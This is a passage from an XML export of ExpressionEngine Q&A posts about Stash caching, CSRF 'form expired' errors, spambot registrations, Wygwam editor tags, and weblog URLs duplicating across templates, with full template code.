  <row Id="23785" PostTypeId="2" ParentId="23774" CreationDate="2014-06-18T15:56:03.267" Score="0" Body="&lt;p&gt;If this is a true relationship field, then as Jean said, go with Playa's single select mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is just a plain old &lt;em&gt;select&lt;/em&gt; field then take a look at the &lt;a href=&quot;http://devot-ee.com/add-ons/chosen-selects&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Chosen Selects&lt;/strong&gt;&lt;/a&gt; fieldtype by John D. Wells. It's based on the Chosen jQuery plugin (&lt;a href=&quot;http://harvesthq.github.io/chosen/&quot; rel=&quot;nofollow&quot;&gt;demo here&lt;/a&gt;), which makes really long select menus easier to work with by adding filter as you type.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-06-18T15:56:03.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23786" PostTypeId="2" ParentId="23779" CreationDate="2014-06-18T16:43:22.430" Score="2" Body="&lt;p&gt;There's no need for conditionals as the fields are mutually exclusive. With Stash on the inside of &lt;code&gt;channel:entries&lt;/code&gt; tags there's also no need for &lt;code&gt;parse_tags&lt;/code&gt; or &lt;code&gt;parse_depth&lt;/code&gt; since the enclosed content contains no &lt;em&gt;tags&lt;/em&gt;. (The custom fields are variables, not tags). Otherwise it should still be fine the way you have it. Personally I prefer putting Stash on the outside of tags, and generally use &lt;code&gt;set_list&lt;/code&gt; even for single entries, since this allows you to store a single named cache entry instead of lots of separate ones for each variable. I also find it simplifies any future parse order issues a bit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;cached-data-{segment_2}&quot; parse_tags=&quot;yes&quot; save=&quot;yes&quot; scope=&quot;site&quot;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;channel1|channel2&quot;&#xA;        status=&quot;open&quot;&#xA;        limit=&quot;1&quot;&#xA;        require_entry=&quot;yes&quot;&#xA;    }        &#xA;        {stash:place_shortdesc}{cf_channel1_shortdescription}{cf_channel2_shortdescription}{/stash:place_shortdesc}&#xA;        {stash:place_desc}{cf_channel1_description}{cf_channel2_description}{/stash:place_desc}        &#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-06-18T16:43:22.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23787" PostTypeId="1" AcceptedAnswerId="25422" CreationDate="2014-06-18T17:10:30.810" Score="0" ViewCount="322" Body="&lt;p&gt;when SOME people try and add their email to the mailing list they get this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following errors were encountered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This form has expired. Please refresh and try again.&#xA;Return to Previous Page&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2014-08-31T14:56:23.187" Title="EE 2.8.1 mailing list This form has expired" Tags="|forms|mailinglist|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23788" PostTypeId="1" AcceptedAnswerId="26747" CreationDate="2014-06-18T19:46:26.180" Score="0" ViewCount="292" Body="&lt;p&gt;Given any Channel, is it possible to loop through all the entries and output the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;field name&lt;/li&gt;&#xA;&lt;li&gt;field type&lt;/li&gt;&#xA;&lt;li&gt;field value&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Assume that the Channel is unknown and can be any Channel. This means that I don't know ahead of time what fields there are in the Channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the field values, I assume that I would need extra logic to display its corresponding values (e.g. a grid might need to have a nested loop, etc.).&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-10-12T19:16:41.597" Title="Looping through channels, outputting field name, field type, field value" Tags="|channel-entries|channel|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23790" PostTypeId="2" ParentId="23787" CreationDate="2014-06-18T20:28:32.210" Score="1" Body="&lt;p&gt;ExpressionEngine uses an anti &lt;a href=&quot;http://en.wikipedia.org/wiki/Cross-site_request_forgery&quot; rel=&quot;nofollow&quot;&gt;CSRF&lt;/a&gt; technique where it assigns a value to a hidden field (i believe the field name is &lt;code&gt;csrf_token&lt;/code&gt; (&lt;code&gt;XID&lt;/code&gt; in version &amp;lt; 2.8.0) and assigns the same value to a session. At form processing stage it compares the two and if they dont match the form returns an error. I believe the error you are getting is the one that gets returned when this happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the visitor is getting this error, the form might be cached at the server / network level, delivering them a stale CSRF token. Are all of the affected users on the same network? Corporate firewalls could be delivering stale pages, for instance.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="366" LastEditDate="2014-06-18T22:49:53.583" LastActivityDate="2014-06-18T22:49:53.583" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23791" PostTypeId="2" ParentId="23743" CreationDate="2014-06-18T20:33:57.607" Score="2" Body="&lt;p&gt;PayU should be able to provide you with dummy credit card test details so you can test the whole process start to finish. &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2014-06-18T20:33:57.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23792" PostTypeId="1" CreationDate="2014-06-18T22:46:17.060" Score="1" ViewCount="75" Body="&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Display week day letter heading ( S M T W T F S ) --&amp;gt;&#xA;&amp;lt;tr id=&quot;mc_days&quot;&amp;gt;&#xA;  {display_each_day_of_week}&#xA;    &amp;lt;th class=&quot;{if day_of_week_is_weekend}weekend{/if} &#xA;      {if day_of_week_is_current}current{/if}&quot;&amp;gt;{day_of_week_one}&#xA;    &amp;lt;/th&amp;gt;&#xA;  {/display_each_day_of_week}&#xA;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What happens is for example June 1 2014 is on on Sunday but my calendar has it on Saturday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The header format displays as S S M T W T F. If I click my next button to go to the month of July the header changes to F S S M T W T. If I go to August the header displays as S S S M T W T as you can see Friday turns into an S.&lt;/p&gt;&#xA;" OwnerUserId="3248" LastEditorUserId="6825" LastEditDate="2015-12-13T22:35:09.637" LastActivityDate="2016-05-30T00:39:52.403" Title="Mini Calendar day heading not starting on Sunday as first day of week" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23793" PostTypeId="1" CreationDate="2014-06-18T23:26:03.943" Score="3" ViewCount="150" Body="&lt;p&gt;I am running Expresso Store on the following site: &lt;a href=&quot;https://peopleplacestraining.org&quot; rel=&quot;nofollow&quot;&gt;https://peopleplacestraining.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything seems to be working well, except for one thing…we're getting several spambot user registrations a day from the member registration portion of the checkout form.  They're not even going through the order process - they're somehow creating members through the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Snaptcha enabled on our site, but because the form used by Expresso Store is not the kind of form Snaptcha seems to recognize, it doesn't work. It just gives the error message even though I'm testing the form as a legitimate user, and have verified that Javascript is enabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, I tried adding two hidden fields and using PHP to render an error message and a blank page (instead of the order confirmation screen) if those two fields are populated, but I couldn't get it to render the page correctly (it was either totally blank or showed both the error message AND the order confirmation page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please explain to me how I'm supposed to prevent Spambots from registering as members on my site using your product?  Shouldn't this be a little more secure?&lt;/p&gt;&#xA;" OwnerUserId="2307" LastEditorUserId="2307" LastEditDate="2014-06-19T00:05:23.223" LastActivityDate="2014-06-23T06:19:09.657" Title="Spam Bot Member Registrations in ExpressoStore" Tags="|expresso-store|expresso|registration|spam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23794" PostTypeId="1" CreationDate="2014-06-19T01:17:42.403" Score="0" ViewCount="141" Body="&lt;p&gt;I am using the wygwam add on, and clicking the &quot;read more&quot; icon to create an excerpt. However, whenever I do this, it creates a paragraph tag around the text before the read more and starts a paragraph tag for the text after the read more. For instance, when I click view source, I see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;some text&amp;lt;/p&amp;gt;&amp;lt;!--read_more--&amp;gt;&amp;lt;p&amp;gt;some more text&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can view source and remove that /p before and p after, and that works fine. But if I wanted to stick to WYSIWYG, how do I eliminate those paragraph breaks. What I essentially want is a solid block of text without paragraph breaks when the extended portion is showing.&lt;/p&gt;&#xA;" OwnerUserId="3148" LastActivityDate="2016-06-07T16:59:48.337" Title="Wygwam 'read more' option without new paragraph tags" Tags="|wygwam|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23795" PostTypeId="2" ParentId="23793" CreationDate="2014-06-19T01:27:03.647" Score="3" Body="&lt;p&gt;ExpressionEngine automatically creates a 'member' area on each standard installation, by default this is &lt;code&gt;/member/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at your site I would say the spam bots are registering through the generic &lt;code&gt;/member/register&lt;/code&gt; URL -&gt; &lt;a href=&quot;https://www.peopleplacestraining.org/member/register&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.peopleplacestraining.org/member/register&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the ExpressionEngine control panel, under &lt;code&gt;Members -&amp;gt; Preferences -&amp;gt; Profile Triggering Word&lt;/code&gt; you can change the value from 'members' to something else, which change the URL of your automatically generated members pages. For example changing the triggering word to &lt;code&gt;users&lt;/code&gt; would make &lt;code&gt;/users/register&lt;/code&gt; the new valid URL -- This MAY help curb some spam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I've noticed that you are using the &lt;code&gt;/members/login&lt;/code&gt; portion of the members templates, and if you change this then the Spam bots will detect your new triggering word and start spamming through that -- I've experienced this myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no good work around for this. You can set the Profile Triggering Keyword to &lt;code&gt;#&lt;/code&gt; which will disable it all together. Unfortunately this will also disable your current login pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestion is to use &lt;a href=&quot;http://devot-ee.com/add-ons/profileedit&quot; rel=&quot;nofollow noreferrer&quot;&gt;Profile:Edit&lt;/a&gt; or another plugin from &lt;a href=&quot;http://devot-ee.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;devot-ee.com&lt;/a&gt; to handle the login and forgot passsword features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: as suggested by @peter-lewis you could block &lt;a href=&quot;https://stackoverflow.com/questions/16915270/how-can-i-remove-expressionengine-default-member-templates/16921417#16921417&quot;&gt;block the member area with .htaccess&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option is to hack the &lt;code&gt;index.php&lt;/code&gt; and simply &lt;code&gt;exit();&lt;/code&gt; whenever the &lt;code&gt;$_SERVER['REQUEST_URI'] == '/members/register'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="1810" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-06-20T01:16:20.267" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23796" PostTypeId="2" ParentId="23788" CreationDate="2014-06-19T01:47:18.590" Score="0" Body="&lt;p&gt;Just a quick answer but exp:query could handle most of this - certainly listing channel fields and types would be easy...I do something similar to help build stash models for channels, like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;code&gt;&#xA;{exp:query sql=&quot;SELECT field_name FROM exp_channel_fields WHERE group_id = '47' &quot;}&#xA;       &amp;#123;exp:stash:set name=&quot;{field_name}&quot;}{{field_name}}&amp;#123;/exp:stash:set}&#xA;{/exp:query}&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;exp_channel_fields has the type as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The content will be harder, I'd look to one of the APIs lie RSANs DEEP or maybe OpenAPI to do that maybe?&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2014-06-19T01:47:18.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23797" PostTypeId="1" CreationDate="2014-06-19T02:36:17.417" Score="0" ViewCount="698" Body="&lt;p&gt;In EE 1.6.9, I've got two weblogs running on the same installation. Both use the same domain name as the base, but are different blogs. What I've found is that posts from the main blog are bleeding over into the sub blogs, so that Google is indexing the secondary site. Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first URL is the main site, where the post was actually published:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.golfblogger.com/index.php/golf/comments/hyundai_genesis_test_drive_report/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second is where it strangely bleeds over.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.golfblogger.com/index.php/shopgolf/comments/hyundai_genesis_test_drive_report/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I search the shop weblog from my control panel, the second page doesn't show up. Yet it appears in search engine results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I keep the main site (first URL) from bleeding over to the other? I'm sure this is screwing up my search engine credibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As requested below, here is the EXP: Weblog code for the main site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {assign_variable:master_weblog_name=&quot;weblog1&quot;}&#xA;    {assign_variable:template_group_name=&quot;golf&quot;}&#xA;&#xA;    &amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;    &amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;    &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset={charset}&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;og:image&quot; content=&quot;http://www.golfblogger.com/images/uploads/GolfBlogger_sm.jpg&quot;/&amp;gt;&#xA;&#xA;&#xA;    {exp:weblog:entries limit=&quot;1&quot; rdf=&quot;off&quot; disable=&quot;trackbacks|member_data|pagination|comments&quot;}&#xA;    {Metatags}&#xA;    &amp;lt;title&amp;gt;&#xA;    {if customh1 != &quot;&quot;}&#xA;    {customh1}&#xA;    {if:else}&#xA;    {title}&#xA;    | {/exp:weblog:entries}Golfblogger: Michigan Golf Blog Featuring Golf Reviews, Golf Opinion and Golf Essays.&#xA;    {/if} &#xA;&#xA;    &amp;lt;/title&amp;gt;&#xA;&#xA;    {embed=&quot;includes/header&quot;}&#xA;    &amp;lt;/head&amp;gt;&#xA;&#xA;    &amp;lt;body id=&quot;secondary-page&quot; class=&quot;comments-page&quot;&amp;gt;&#xA;    {embed=&quot;includes/design_top&quot;}&#xA;         &amp;lt;div id=&quot;primarycontent&quot;&amp;gt;&#xA;&#xA;    {exp:weblog:entries limit=&quot;1&quot; rdf=&quot;off&quot; disable=&quot;pagination&quot;}&#xA;&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;blogentry&quot;&amp;gt;&#xA;    &amp;lt;span class=&quot;date&quot;&amp;gt;{entry_date format=&quot;%F %j, %Y&quot;}&amp;lt;/span&amp;gt;&#xA;    {summary}&#xA;    &amp;lt;span class=&quot;class2&quot;&amp;gt;&#xA;    {body}&#xA;    {extended}&#xA;    &amp;lt;/span&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;h8&amp;gt;&amp;lt;b&amp;gt;Posted By {author}&amp;lt;/b&amp;gt;&amp;lt;/h8&amp;gt;&#xA;    &amp;lt;br&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Golf Blog Category:&amp;lt;br /&amp;gt;&#xA;    {categories weblog=&quot;{master_weblog_name}&quot; backspace=&quot;7&quot;} &amp;lt;a href=&quot;{path={template_group_name}/golfing-blog/}&quot; title=&quot;Browse articles in {category_name}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;,&amp;amp;nbsp;{/categories}&#xA;    &amp;lt;/h3&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;h4&amp;gt;Interact:&amp;lt;br /&amp;gt;&#xA;    &amp;lt;a href=&quot;{title_permalink=&quot;{template_group_name}/comments&quot;}&quot; title=&quot;Permalink for {title}&quot;&amp;gt;Permalink&amp;lt;/a&amp;gt; | &#xA;    &amp;lt;a href=&quot;http://www.golfblogger.com/index.php/golfforums&quot; title=&quot;Golf Forums&quot;&amp;gt;Start a Forum Post on this topic or other golf topics&amp;lt;/a&amp;gt; | &#xA;    &amp;lt;a href=&quot;#&quot; onclick=&quot;window.open('{permalink={template_group_name}/friend}', '_blank', 'width=400,height=650')&quot;&amp;gt;Email this entry&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/h4&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt; &#xA;&#xA;    &amp;lt;div id=&quot;comments&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Comments&amp;lt;/h2&amp;gt;&#xA;    {exp:weblog:entries weblog=&quot;{master_weblog_name}&quot; rdf=&quot;off&quot;}&#xA;    {if comment_total == 0}&#xA;    &amp;lt;p&amp;gt;No comments yet.&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;    {/exp:weblog:entries}&#xA;&#xA;    &amp;lt;ul&amp;gt;&#xA;    {exp:comment:entries}&#xA;    &amp;lt;li&amp;gt;{comment}&#xA;    &amp;lt;p class=&quot;comment-posted&quot;&amp;gt;Posted by &amp;lt;a href=&quot;{url}&quot;&amp;gt; {name} &amp;lt;/a&amp;gt; on {comment_date format='%m/%d'}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    {/exp:comment:entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;h2&amp;gt;Post a Comment:&amp;lt;/h2&amp;gt;&#xA;    Note: All comments are moderated. Spam comments simply will not get through. So don't bother.&amp;lt;p&amp;gt;&#xA;    {exp:comment:form preview=&quot;{template_group_name}/preview&quot;}&#xA;&#xA;    &amp;lt;dl class=&quot;commentsforminput&quot;&amp;gt;&#xA;&#xA;    &amp;lt;dt&amp;gt;Name&amp;lt;/dt&amp;gt;&#xA;    &amp;lt;dd&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{name}&quot; size=&quot;30&quot; class=&quot;commentinput&quot; /&amp;gt;&amp;lt;/dd&amp;gt;&#xA;    &amp;lt;dt&amp;gt;Email&amp;lt;/dt&amp;gt;&#xA;    &amp;lt;dd&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;{email}&quot; size=&quot;30&quot; class=&quot;commentinput&quot; /&amp;gt;&amp;lt;/dd&amp;gt;&#xA;    &amp;lt;dt&amp;gt;Location&amp;lt;/dt&amp;gt;&#xA;    &amp;lt;dd&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;location&quot; value=&quot;{location}&quot; size=&quot;30&quot; class=&quot;commentinput&quot; /&amp;gt;&amp;lt;/dd&amp;gt;&#xA;    &amp;lt;dt&amp;gt;URL&amp;lt;/dt&amp;gt;&#xA;    &amp;lt;dd&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;url&quot; value=&quot;{url}&quot; size=&quot;30&quot; class=&quot;commentinput&quot; /&amp;gt;&amp;lt;/dd&amp;gt;&#xA;    &amp;lt;/dl&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;    &amp;lt;a href=&quot;{path={template_group_name}/smileys}&quot; onclick=&quot;window.open(this.href, '_blank', 'width=400,height=440');return false;&quot; onkeypress=&quot;this.onclick()&quot;&amp;gt;Smileys&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;    &amp;lt;textarea name=&quot;comment&quot; cols=&quot;50&quot; rows=&quot;12&quot;&amp;gt;{comment}&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    {if not_logged_in}&#xA;    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;save_info&quot; value=&quot;yes&quot; {save_info} /&amp;gt;Remember Me?&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;notify_me&quot; value=&quot;yes&quot; {notify_me} /&amp;gt;Email Me When Someone Else Comments?&amp;lt;/p&amp;gt;&#xA;&#xA;    {if captcha}&#xA;    &amp;lt;p&amp;gt;Submit the word you see below:&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;    {captcha}&#xA;    &amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;&quot; size=&quot;20&quot; maxlength=&quot;20&quot; style=&quot;width:140px;&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;submit-button&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;preview&quot; value=&quot;Preview&quot; class=&quot;submit-button&quot; /&amp;gt;&#xA;    {/exp:comment:form}&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- end comments --&amp;gt;&#xA;&#xA;&#xA;&#xA;         &amp;lt;/div&amp;gt;&amp;lt;!-- end primarycontent--&amp;gt;&#xA;         &amp;lt;hr /&amp;gt;&#xA;&#xA;    {embed=&quot;includes/secondary_sidebar&quot;}&#xA;&#xA;    {embed=&quot;includes/footer&quot;}&#xA;&#xA;&#xA;    &amp;lt;/body&amp;gt;&#xA;    &amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And for the one it is bleeding over to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{assign_variable:master_weblog_name=&quot;ShopGolfBlogger&quot;}&#xA;{assign_variable:template_group_name=&quot;shopgolf&quot;}&#xA;&#xA;&#xA;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset={charset}&quot; /&amp;gt;&#xA;&#xA;&amp;lt;title&amp;gt;&#xA;&#xA;{exp:weblog:entries limit=&quot;1&quot; rdf=&quot;off&quot; disable=&quot;trackbacks|member_data|pagination|comments&quot;}&#xA;{if customh1 != &quot;&quot;}&#xA;{customh1}&#xA;{if:else}&#xA;{title}&#xA;| {/exp:weblog:entries}Golfblogger Golf News, Reviews and Commentary&#xA;{/if} &#xA;&#xA;&amp;lt;/title&amp;gt;&#xA;&#xA;{embed=&quot;shopgolfincludes/header&quot;}&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&#xA;&amp;lt;body id=&quot;secondary-page&quot; class=&quot;comments-page&quot;&amp;gt;&#xA;{embed=&quot;shopgolfincludes/design_top&quot;}&#xA;     &amp;lt;div id=&quot;primarycontent&quot;&amp;gt;&#xA;&#xA;{exp:weblog:entries limit=&quot;1&quot; rdf=&quot;off&quot; disable=&quot;pagination&quot;}&#xA;&#xA;&#xA;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;blogentry&quot;&amp;gt;&#xA;&#xA;{summary}&#xA;&amp;lt;span class=&quot;class2&quot;&amp;gt;&#xA;&#xA;{body}&#xA;&#xA;{extended}&#xA;&#xA;{exp:magpie url=&quot;{RSS_URL}&quot; limit=&quot;50&quot; refresh=&quot;30&quot;}&#xA;&#xA;{magpie:items}&#xA;&amp;lt;li&amp;gt;&#xA;&amp;lt;a href=&quot;{magpie:link}&quot;&amp;gt;{magpie:title}&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;{magpie:description}&amp;lt;p&amp;gt;&#xA;{magpie:about}&amp;lt;p&amp;gt;&#xA;&#xA;&#xA;&amp;lt;/li&amp;gt;&#xA;&#xA;{/magpie:items}&#xA;&#xA;&#xA;{/exp:magpie}&#xA;&#xA;&amp;lt;/span&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&amp;lt;h3&amp;gt;Golf Blog Category:&amp;lt;br /&amp;gt;&#xA;{categories weblog=&quot;{master_weblog_name}&quot; backspace=&quot;7&quot;} &amp;lt;a href=&quot;{path={template_group_name}/golfing-blog/}&quot; title=&quot;Browse articles in {category_name}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;,&amp;amp;nbsp;{/categories}&#xA;&amp;lt;/h3&amp;gt;&#xA;&#xA;&amp;lt;h4&amp;gt;Interact:&amp;lt;br /&amp;gt;&#xA;&amp;lt;a href=&quot;{title_permalink=&quot;{template_group_name}/comments&quot;}&quot; title=&quot;Permalink for {title}&quot;&amp;gt;Permalink&amp;lt;/a&amp;gt; | &#xA;&amp;lt;a href=&quot;http://www.golfblogger.com/index.php/golfforums&quot; title=&quot;Golf Forums&quot;&amp;gt;Start a Forum Post on this topic or other golf topics&amp;lt;/a&amp;gt; | &#xA;&amp;lt;a href=&quot;#&quot; onclick=&quot;window.open('{permalink={template_group_name}/friend}', '_blank', 'width=400,height=650')&quot;&amp;gt;Email this entry&amp;lt;/a&amp;gt;&#xA;&amp;lt;/h4&amp;gt;&#xA;&#xA;&amp;lt;h2&amp;gt;Add Your Review of the {title} below:&amp;lt;/h2&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;comments&quot;&amp;gt;&#xA;&amp;lt;h2&amp;gt;Comments&amp;lt;/h2&amp;gt;&#xA;{exp:weblog:entries weblog=&quot;{master_weblog_name}&quot; rdf=&quot;off&quot;}&#xA;{if comment_total == 0}&#xA;&amp;lt;p&amp;gt;No comments yet.&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;{/exp:weblog:entries}&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;{exp:comment:entries}&#xA;&amp;lt;li&amp;gt;{comment}&#xA;&amp;lt;p class=&quot;comment-posted&quot;&amp;gt;Posted by {name} on {comment_date format='%m/%d'}&amp;lt;/p&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;{/exp:comment:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;h2&amp;gt;Post a Comment:&amp;lt;/h2&amp;gt;&#xA;{exp:comment:form preview=&quot;{template_group_name}/preview&quot;}&#xA;&#xA;&amp;lt;dl class=&quot;commentsforminput&quot;&amp;gt;&#xA;&#xA;&amp;lt;dt&amp;gt;Name&amp;lt;/dt&amp;gt;&#xA;&amp;lt;dd&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{name}&quot; size=&quot;30&quot; class=&quot;commentinput&quot; /&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&amp;lt;dt&amp;gt;Email&amp;lt;/dt&amp;gt;&#xA;&amp;lt;dd&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;{email}&quot; size=&quot;30&quot; class=&quot;commentinput&quot; /&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&amp;lt;dt&amp;gt;Location&amp;lt;/dt&amp;gt;&#xA;&amp;lt;dd&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;location&quot; value=&quot;{location}&quot; size=&quot;30&quot; class=&quot;commentinput&quot; /&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&amp;lt;dt&amp;gt;URL&amp;lt;/dt&amp;gt;&#xA;&amp;lt;dd&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;url&quot; value=&quot;{url}&quot; size=&quot;30&quot; class=&quot;commentinput&quot; /&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&amp;lt;/dl&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;a href=&quot;{path={template_group_name}/smileys}&quot; onclick=&quot;window.open(this.href, '_blank', 'width=400,height=440');return false;&quot; onkeypress=&quot;this.onclick()&quot;&amp;gt;Smileys&amp;lt;/a&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;textarea name=&quot;comment&quot; cols=&quot;50&quot; 